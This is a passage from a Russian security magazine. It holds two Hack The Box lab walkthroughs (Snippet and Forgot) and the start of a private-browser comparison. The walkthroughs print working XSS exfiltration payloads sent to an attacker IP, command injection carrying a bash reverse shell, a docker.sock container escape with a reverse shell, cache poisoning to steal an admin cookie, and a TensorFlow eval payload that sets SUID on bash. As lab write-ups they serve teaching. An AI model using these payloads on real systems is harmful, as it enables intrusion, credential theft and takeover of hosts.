При изменении сниппета передаются его параметры и тип: публичный или нет. Тогда я решил перебрать идентификатор сниппета, чтобы узнать, как работает контроль доступа к изменению параметров. И у нас получилось сделать публичным чей-то сниппет.
Запрос на публикацию сниппета
Доступные сниппеты
Просмотрим вытащенный нами сниппет и найдем там HTTP-заголовок базовой аутентификации. Декодируем строку Base64 и получаем учетные данные для пользователя jean.
Содержимое сниппета
Учетные данные пользователя
С полученными учетными данными можем авторизоваться в Gitea. Там нам доступен один проект.
Репозиторий extension
Gitea
Сам проект — это плагин браузера для быстрого оповещения об ошибках. В настройках проекта находим соавтора, это нам пригодится.
Соавторы проекта
Просматривая историю изменений, обращаем внимание, что при публикации сообщения его текст должен фильтроваться.
Старый фильтр сообщений
Находим подобный фрагмент в коде текущего параметра.
Новый фильтр сообщений
Из сообщения удаляется любая последовательность символов, если она заключена в треугольные скобки, то есть похожа на HTML-тег. Также если присутствует последовательность символов, приведенных в переменной filter. Но в самом регулярном выражении ошибка, так удалится только первое вхождение последовательности в тегах. Проверим это, для чего запустим веб-сервер и отправим следующую строку:
qwe<qwe><img src="http://10.10.14.7/test">
Отправка сообщения
Опубликованное сообщение
Логи веб-сервера
В логах веб-сервера увидим подключение, значит, можно проэксплуатировать хранимую XSS.
Хранимая XSS
Я решил попробовать получить проекты пользователя charlie. Список проектов можно запросить по API:
/api/v1/users/[user]/repos')
Нагрузку построим следующим образом: чтобы избежать фильтрации, будем использовать Fetch API, а после обращения к API ответ закодируем в Base64 и отправим на свой веб-сервер:
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(
response => response.text()).then(data => fetch('http://10.10.14.7/'+
btoa(data)))
Логи веб-сервера
Декодируем Base64 и получаем содержимое страницы.
Информация о репозиториях пользователя
Видим проект backups, но скачать файлы напрямую не вышло. Тут мне пришлось обратиться за помощью к комьюнити, и мне посоветовали добавить своего пользователя в соавторы этого проекта.
var u='http://dev.snippet.htb/charlie/backups/settings/collaboration'
;fetch(u).then(r => document.querySelector('meta[name=_csrf]').
content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'
application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+
t}).then(d => fetch('http://10.10.14.7/yes')))
Репозитории пользователя jean
Нам стал доступен проект backups, он содержит всего один архив.
Файлы в репозитории backups
А в архиве находим приватный SSH-ключ пользователя.
Содержимое архива
Даем файлу соответствующие права (chmod 0600 id_rsa) и подключаемся к удаленному хосту.
Сессия пользователя charlie
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA И СБЕГАЕМ ИЗ DOCKER
ПРОДВИЖЕНИЕ Пользователь jean
В системе есть еще один пользователь — jean.
Содержимое каталога /home
Мы уже получали пароль этого пользователя для одного сервиса, поэтому пробуем использовать его и для системы. Он подходит!
Флаг пользователя
Docker inside
Теперь нам необходимо собрать информацию, чтобы понять, как продвигаться дальше. Я для этого использую скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
Во-первых, присутствует много сетевых интерфейсов, типичных для Docker.
Сетевые интерфейсы
Во-вторых, прослушивается много сетевых веб-портов, а также порт MySQL.
Прослушиваемые порты
Больше ничего интересного найти не удалось, поэтому посмотрим, какие процессы запускаются на хосте. Для этого я использую утилиту pspy64. Заг-
рузим ее на хост тем же способом, что и LinPEAS, а потом выполним. В выводе находим команду для подключения к СУБД и изменения пароля пользователя сайта. В команде есть учетные данные для подключения к СУБД.
Вывод утилиты pspy64
Подключимся к базе данных, для чего нужно прокинуть трафик с порта 3306 на свой хост с помощью SSH.
ssh -i ./id_rsa -L 3306:localhost:3306 charlie@10.10.11.171 -N
Таким образом весь трафик, который мы пошлем на локальный порт 3306, будет туннелирован на порт 3306 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь подключимся к базе и получим таблицы:
mysql -h 127.0.0.1 -u root -ptoor --database webapp
show tables;
Таблицы в базе данных webapp
Нам интересна таблица users, получим ее записи.
select * from users;
Записи в таблице users
Видим, что у каждого пользователя есть свой user_type. Управляющая запись всего одна. Но мы можем назначить это право и пользователю, учетка которого под нашим контролем.
update users set user_type='Manager' where email='letha@snippet.htb';
Изменение типа учетной записи letha
Обновим страницу сайта и увидим кнопку проверки.
Пользователи сайта
При проверке пользователя нам покажут сообщение «Mail is valid!». Получив его, я решил найти сам проект на хосте и посмотреть исходный код проверки. Проект расположен в домашнем каталоге пользователя.
Содержимое домашнего каталога пользователя
Найдем участок, где упоминается отображенное нам сообщение.
grep -iR 'Mail is valid!' ./ 2>/dev/null
Поиск подстроки в файлах проекта
Теперь просмотрим все содержимое файла AdminController.php.
Содержимое файла AdminController.php
Из почтового адреса пользователя извлекается домен, после чего он пингуется через вызов shell_exec. Здесь мы можем выполнить инъекцию команды ОС. Для этого добавим запись в таблицу users, где в поле почтового адреса запишем конвейер с реверс-шеллом.
insert into users(name,email,email_verified_at,password,
remember_token,created_at,updated_at,user_type) values('ralf',
'ralf@ralf|bash -c "/bin/sh -i >& /dev/tcp/10.10.14.84/4321 0>&1"',
'2022-01-02 20:15
:30', 'ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f',
'UvLHOFpwyD5LYcAeOEEwYdxVwjBWszbWIKO3qRAzc5x8uJ3ZJ4VA2OiZqKgU',
'2022-01-02 20:15:00','2022-01-02 20:15:00','Manager');
Обновленный список пользователей
Теперь запустим листенер и проверим созданного пользователя:
pwncat_cs -lp 4321
В pwncat увидим новую сессию.
Сессия пользователя application
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы попали в Docker, а для разведки в нем есть прекрасный скрипт deepce.
Скрипт по возможности проверит настройки контейнера и окружения и покажет пути для побега. Загружаем его в контейнер, даем право на выполнение и запускаем. Deepce показал, что есть монтированный docker.sock.
Настройки монтирования
Определим путь к docker.sock, просто поискав его в файловой системе.
find / -name docker.sock 2>/dev/null
Поиск docker.sock
Использование docker.sock дает нам путь к побегу из контейнера. Для этого первым делом нужно узнать, какие есть образы.
curl -s --unix-socket /app/docker.sock http://localhost/images/json
Существующие образы
Теперь мы можем создать контейнер для образа laravel-app_main:latest, при этом указать команду, которая выполнится при его запуске. В нашем случае это будет реверс-шелл.
cmd="["/bin/sh","-c","chroot /tmp sh -c \\"bash -c 'bash -i &>/dev/
tcp/10.10.14.84/5432 0<&1'\\""]"
curl -s -X POST --unix-socket /app/docker.sock -d "{"Image":"laravel-
app_main","cmd":$cmd,"Binds":["/:/tmp:rw"]}" -H 'Content-Type:
application/json' http://localhost/containers/create?name=ralf_root
Создание контейнера
Теперь запускаем созданный контейнер и получаем соединение на листенер netcat.
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/
containers/
87628e84d50408a88d9b865ba0053a85dfa21635dfc5e114b83b920d9201061d/
start"
Флаг рута
Машина захвачена!
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ОТРАВЛЯЕМ WEB CACHE ДЛЯ ПОЛУЧЕНИЯ АДМИНКИ САЙТА
В этом райтапе я покажу технику отравления веб-кеша, которая позволяет получить куки администратора сайта. Доступ к Varnish Cache мы получим через сброс пароля, а для повышения привилегий проэксплуатируем уязвимость в модуле
TensorFlow для Python.
RalfHacker hackerralf8@gmail.com
Наша цель — захват машины Forgot с площадки Hack The Box. Уровень сложности — средний.
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.188 forgot.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Nmap нашел нам два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 — веб-сервер Werkzeug 2.1.2, запущенный из Python 3. Переходим на сайт, где нас сразу встречает форма авторизации.
Форма авторизации
С помощью Burp Suite построим карту сайта, для чего в контекстном меню
Burp History выбираем Engagement tools → Discover content.
Карта сайта
Ничего нового и полезного для продвижения не находим. Просмотрим комментарии в исходном коде страниц, может быть, получится узнать что-то интересное. Чтобы удобно отобразить все комментарии с сайта, в Burp переходим к контекстному меню и выбираем Engagement tools → Find comments.
Комментарии с сайта
В итоге находим пользователя. Попробуем запросить смену пароля для него.
Запрос на смену пароля
Так как была отправлена ссылка для сброса пароля, пользователь реален.
ТОЧКА ВХОДА
По HTTP-заголовкам ответа определяем, что на сервере работает Varnish. Это ускоритель HTTP, разработанный для динамических веб-сайтов с большим количеством контента и API. Пробуем в HTTP-заголовке Host запроса указать свой адрес, активируем листенер и ловим входящий запрос.
Запрос на сброс пароля
Логи листенера
Во входящем запросе присутствует токен для сброса пароля. Идем на указанную страницу, где нам сразу предлагают установить новый пароль.
Форма смены пароля
Меняем пароль, авторизуемся и осматриваемся на сайте.
Домашняя страница пользователя
Нам доступны страницы Tickets и Escalate. На первой мы видим проблемы и их статус, на второй есть форма связи с администратором. Отметим для себя проблему с учетными данными для доступа по SSH.
Страница Tickets
Страница Escalate
Есть еще страница, но ссылка на нее неактивна. Хоть ее и можно найти в исходном коде страницы, доступ все равно запрещен. Нужны права администратора.
Поиск ссылки на административную страницу
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ОТРАВЛЯЕМ WEB CACHE ДЛЯ ПОЛУЧЕНИЯ АДМИНКИ САЙТА
ТОЧКА ОПОРЫ
У нас есть связь с администратором через форму заявок. Я потестировал ее на наличие уязвимостей XSS, но ничего не обнаружил. А вот благодаря карте сайта можно найти страницы, а вернее каталог, где можно отравить кеш. Так, на всех страницах, кроме тех, что в каталоге /static, счетчик все время обнуляется. А вот в каталоге /static он растет до значения 240 (четыре минуты), после чего уже обнуляется.
Ответ сервера на страницу login
Ответ сервера на страницу в каталоге static
Кеширование заключается в сохранении копии ресурса, чтобы вернуть ее в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся в веб-кеше, перехватывается, и вместо того, чтобы обращаться к серверу, загружается копия из кеша. Таким образом снижается нагрузка на сервер, которому не приходится самому отвечать всем клиентам, и повышается производительность.
Подробнее о механизмах кеширования сайтов ты можешь прочитать, например, в статье «Веб-кеширование на примере покупки молока в магазине» на «Хабрахабре».
Отравление веб-кеша — это атака, при которой атакующий использует поведение веб-сервера и кеша таким образом, чтобы в кеше другим пользователям доставлялся опасный HTTP-ответ. То есть без взаимодействия с другими пользователями уязвимость проэксплуатировать не получится.
Первым делом стоит проверить, выполняется ли кеширование для несуществующих страниц.
Счетчик (заголовок Age) растет, значит, для несуществующих страниц в каталоге /static происходит кеширование. Теперь нам нужно найти ключ кеша — какое-то значение в HTTP-запросе, при изменении которого счетчик кеша будет обнуляться. В данном случае ключом оказалось значение заголовка Host.
При этом обрати внимание, что в первом запросе кешированный ответ содержит наш куки!
ПРОДВИЖЕНИЕ
Собираем все воедино. Мы можем отправить админу сообщение, содержащее ссылку, и он на нее перейдет. При этом есть каталог, кеширующий ответ сервера, причем ответ может вернуть куки пользователя. Поэтому отправим администратору ссылку на любой несуществующий файл в каталоге /static, спустя время обратимся к нему же и проверим заголовок Set-
Cookie.
Отправка сообщения администратору
Запрос на несуществующую страницу
И нам вернули куки, предположительно админа.
Вставляем идентификатор сессии в хранилище браузера и переходим к административной странице /admin_tickets.
Замена cookie
Страница администратора
Видим тикет, где упоминаются учетные данные для SSH. Если их просто скопировать, то авторизоваться не получится. Причина в том, что на странице некоторые символы отображаются в верхнем регистре. Мы с этим сталкивались при отправке сообщений админу: введенный текст автоматически переводился в верхний регистр. Поэтому переходим к исходному коду сайта и копируем учетные данные оттуда.
Исходный код сайта
Подключаемся по SSH и забираем первый флаг.
Флаг пользователя
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию о системе. Я буду использовать для этого скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис- тему на автомате.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому отберем только значимую.
• На хосте активен Cron, запускающий скрипт /home/diego/bot.py.
Настройки Cron
•В списке открытых портов видим работающие СУБД MySQL (порт 3306) и веб-сервер (порт 8080).
Открытые локальные порты
•В настройках sudoers для пользователя diego есть запись. Мы можем запустить скрипт /opt/security/ml_security.py от имени поль-
зователя root.
Настройки судоера
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Скрипт оказался большим, поэтому я скопировал его на локальную машину и открыл в VS Code. Первым делом пробегаемся по коду и копируем важные данные, к примеру учетку для подключения к базе данных.
Фрагмент кода ml_security.py
Затем видим подсчет каких-то значений (спасибо комментариям), проверку итогового значения, рассчитанного на основе шести представленных,
и выполнение функции preprocess_input_exprs_arg_string.
Фрагмент кода ml_security.py
Среди импортов находим модуль tensorflow, к которому относится функция.
Импорты модулей скрипта
Разбираясь с найденной функцией, я нашел статью, где рассказано о выпол-
нении кода через eval внутри preprocess_input_exprs_arg_string, если ее второй аргумент safe=False.
Фрагмент исходного кода функции preprocess_input_exprs_arg_string
Таким образом, из таблицы escalate извлекаются данные, которые передаются в функции вида loaded_model*.predict(), а затем в функцию preprocess_input_exprs_arg_string, где произойдет их выполнение как кода. Давай подключимся к базе данных и запишем в таблицу escalate такую нагрузку:
r=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")
Она установит SUID для файла командной оболочки /bin/bash.
mysql -D app -udiego -p'dCb#1!x0%gjq'
insert into escalate values ("1","1","1",'r=exec("""import os; os.
system("chmod +s /usr/bin/bash")""")');
А теперь запустим скрипт c sudo и проверим права на файл /bin/bash.
Результат выполнения ml_security.py
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Оболочка /bin/bash теперь будет запускаться от имени пользователя root.
/bin/bash -p
Флаг рута
Машина захвачена!
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ПРИВАТНОСТЬ |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
g |
|
|
|
|||
|
|
|
|
n |
|
|
|
|
||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023 ГОДА
Браузеры собирают много информации о пользователях и отслеживают их активность в интернете. Чтобы этому помешать, существуют специальные приватные браузеры, призванные блюсти твою конфиденциальность, блокировать трекинг и рекламу. Сегодня мы рассмотрим и сравним семь таких программ в актуальных версиях 2023 года, а затем выберем лучшие из них.
Валентин Холмогоров
Ведущий редактор valentin@holmogorov.ru
Если тебе кажется, что за тобой следят, возможно, тебе не кажется. Сайты, которые мы посещаем, собирают большой объем информации о конфигурации нашего компьютера, мобильного телефона или планшета, а также об используемом программном обеспечении. Интернет-ресурсы не только устанавливают файлы cookies, но и могут определить твою геолокацию, IPадрес, название провайдера, версию и языковые настройки операционной системы, браузера, локальное время, тип и скорость подключения к интернету. А также узнать, какие протоколы поддерживает браузер, какие плагины в нем используются, включен ли JavaScript, имеет ли устройство встроенную камеру, гироскоп, и собрать множество других сведений.
На основе всей этой информации можно составить уникальный идентификатор каждого работающего в интернете устройства — browserngerprint. Даже поменяв одну или несколько настроек в системе, невозможно изменить сам идентификатор, поскольку он использует сразу множество параметров. Тебя все равно узнают, если захотят.
Кроме того, движки разных браузеров немного по-разному отображают шрифты и отдельные глифы Unicode. Сравнивая заполненные текстом HTMLэлементы на просматриваемых в браузере веб-страницах и формы букв по умолчанию в словаре известных гарнитур, можно составить шрифтовые отпечатки, font ngerprint. Эти отпечатки помогают сайтам опознать любой браузер, и твой — тоже!
Чаще всего такую идентификацию используют, чтобы показывать рекламу. Звучит довольно безобидно, но, как говорится, есть нюансы. Так, в 2014 году исследователь Александр Коган по заказу компании Cambridge Analytica разработал приложение под названием This is Your Digital Life для опроса пользователей Facebook. Несмотря на то что в опросе приняло участие незначительное число пользователей, приложение смогло получить доступ не только к профайлам участников, но и к страницам всех, кто присутствовал в списке их друзей. Таким образом были собраны данные примерно о 80 миллионах американцев — включая сведения об их геолокации, родном городе, дате рождения, лайках постов, интересах, онлайн-активности, предпочтениях, родственных связях. Разумеется, без ведома и согласия пользователей.
В наши дни, когда даже неосторожный лайк чужого поста может иметь самые неприятные последствия, делиться с окружающим миром таким объемом данных — неоправданный риск. Следовательно, нужно использовать специальные браузеры, ориентированные на повышенную конфиденциальность и безопасность. Одним из самых безопасных и защищенных считается Tor Browser. Но эта программа предназначена не столько для защиты конфиденциальности пользователя в интернете, сколько для просмотра содержимого Даркнета и для серфинга в onion-сети. Поэтому его мы как раз подробно изучать не будем.
Существует несколько альтернативных браузеров, созданных для защиты конфиденциальности и анонимности в интернете. Давай рассмотрим самые известные из них и сравним их возможности. Для оценки информации, которой эти браузеры делятся с окружающим миром, мы будем использовать сайт BrowserLeaks. Для просмотра трафика — бесплатную программу Portmaster, которая позволяет наглядно отслеживать соединения конкретных приложений. Браузеры мы будем запускать в конфигурации по умолчанию, не меняя никаких настроек.
BRAVE
•Сайт: brave.com
•Движок: Chromium
•Исходный код: открытый
•Первый выпуск: 2019 год
•Версии: Windows, Linux, Android, iOS и macOS (в том числе, ARM-based)
Браузер Brave базируется на Chromium и обладает открытым исходным кодом. С точки зрения безопасности это можно отнести к достоинствам, поскольку любой человек, владеющий языками программирования, может изучить код программы и убедиться, что закладок и других потенциально опасных функций тут нет.
В качестве базового движка в Brave используется Blink, в качестве движка JavaScript — V8, а в версии для iOS применяется WebKit от Apple. Этот браузер разрабатывает американская компания Brave Software, Inc. из Сан-Франциско. Существуют версии для Windows, Linux, Android, iOS
иmacOS (в том числе ARM-based). Первая версия этого браузера появилась на свет относительно недавно — 13 ноября 2019 года. Разработчики утверждают, что даже с настройками по умолчанию Brave эффективно блокирует рекламу, предотвращает трекинг, а в режиме Safe Browsing не ведет журналы
ине хранит IP-адрес.
При первом запуске Brave предлагает блокировать прием cookies, это повышает безопасность серфинга. Если нажать кнопку в правом верхнем углу окна и выбрать в меню пункт Settings, откроется экран настроек. Параметры приватности собраны на вкладке Sheilds.
Настройки приватности Brave
Здесь можно отключить автодетектирование Accelerated Mobile Pages — страниц для ускоренной загрузки мобильного контента, защиту от ngerprinting и редирект, который не позволяет рекламным площадкам отслеживать браузер.
Ниже расположено меню, позволяющее выбрать степень обеспечения приватности для блокировки рекламы и трекеров: Standard (это значение по умолчанию), Agressive или Disabled. Тут же можно отключить все скрипты и включить блокировку cookies. Давай выберем режим Trackers & ads blocking — Agressive.
Если нажать Content Filtering, откроется список фильтров, с использованием которых Brave блокирует рекламу и трекеры. Чтобы просмотреть весь перечень, нажми Show full list. По умолчанию включено только десять фильтров, но их гораздо больше. Можно включить все, однако учти, что чем больше фильтров, тем больше контента будет блокироваться, в результате чего ты можешь не увидеть на сайтах что-то полезное.
Обычно браузеры хранят информацию о том, в какие социальные сети ты залогинен, и отдают ее кому угодно по первому требованию. Чтобы выключить эту функцию, открой вкладку Social media blocking. По умолчанию там предлагается на выбор Google, Twitter, Facebook, а показ данных из LinkedIn почему-то включен. Можно отключить его, если ты не хочешь, чтобы тебе писали HR из компаний Илона Маска.
На вкладке Search engine можно выбрать поисковую систему, которая будет использоваться в Brave по умолчанию. Google желает знать очень многое о пользователях, отслеживает их запросы, нажатия на ссылки и фиксирует перемещения по сайтам, где установлены рекламные скрипты Google Ads, поэтому в целях безопасности можно выбрать поисковик DuckDuckGo.
Сайт BrowserLeaks показывает, что по умолчанию в Brave включена поддержка JavaScript и WebGL (это один из интерфейсов JavaScript для отображения 3D-графики, который позволяет некоторым сайтам определять тип графического адаптера на твоем устройстве), поэтому браузер охотно передает текущие параметры операционной системы и оборудования, включая наличие микрофона и камеры. Также он позволяет снимать цифровые отпечатки c использованием Canvas API и font ngerprinting. Это небезопасно, но обычные браузеры оставляют в сети еще больше пользовательских данных.
При этом BrowserLeaks показывает, что в браузере работают контентные фильтры, блокирующие рекламу и трекинг: всего таких фильтров насчитывается десять (в основном используется uBlock). Это означает, что программа действительно мешает рекламным сетям собирать данные.
Контентные фильтры в Brave
Тем не менее наш IP-адрес и местоположение сайт BrowserLeaks определил достаточно точно, а это небезопасно. Но на этот случай у Brave есть еще одна отличная фишка, которой нет у других приватных браузеров! Если щелкнуть на кнопке в правой части инструментальной панели браузера и выбрать в открывшемся меню пункт New Private Window with Tor, откроется новое окно браузера, соединение в котором будет установлено через Tor Network.
Режим Tor в Brave
Если мы откроем в этом окне сайт BrowserLeaks, то увидим, что наш IP-адрес и геолокация изменились. Это позволяет скрывать реальное местоположение без использования VPN. Правда, BrowserLeaks сумел определить, что новый IP-адрес принадлежит выходной ноде сети Tor. Некоторые сайты блокируют доступ пользователям Tor-сети, это нужно учитывать.
В этом окне можно не только анонимно просматривать обычные сайты, но и обращаться к ресурсам Даркнета, расположенным в зоне .onion. Теперь нам не нужно два разных браузера — один для приватного просмотра обычных сайтов, а другой для серфинга по Даркнету. Достаточно одного Brave.
Посмотрим с помощью Portmaster, какие соединения инициирует браузер Brave. Он регулярно обращается к серверам обновлений brave.com, а также использует собственные DNS-серверы для обработки запросов, помимо DNS-серверов, указанных в настройках соединения. Никаких других подозрительных запросов браузер не отправляет. Также Portmaster показывает, что для навигации в сети Tor браузер Brave использует встроенный 32-битный движок Tor 0.4.7.13, который работает в том числе в 64-разрядной системе. Это актуальная версия, выпущенная в текущем месяце, то есть в этом движке устранены все известные уязвимости и этот движок обеспечивает достаточный уровень безопасности.
Brave в Portmaster
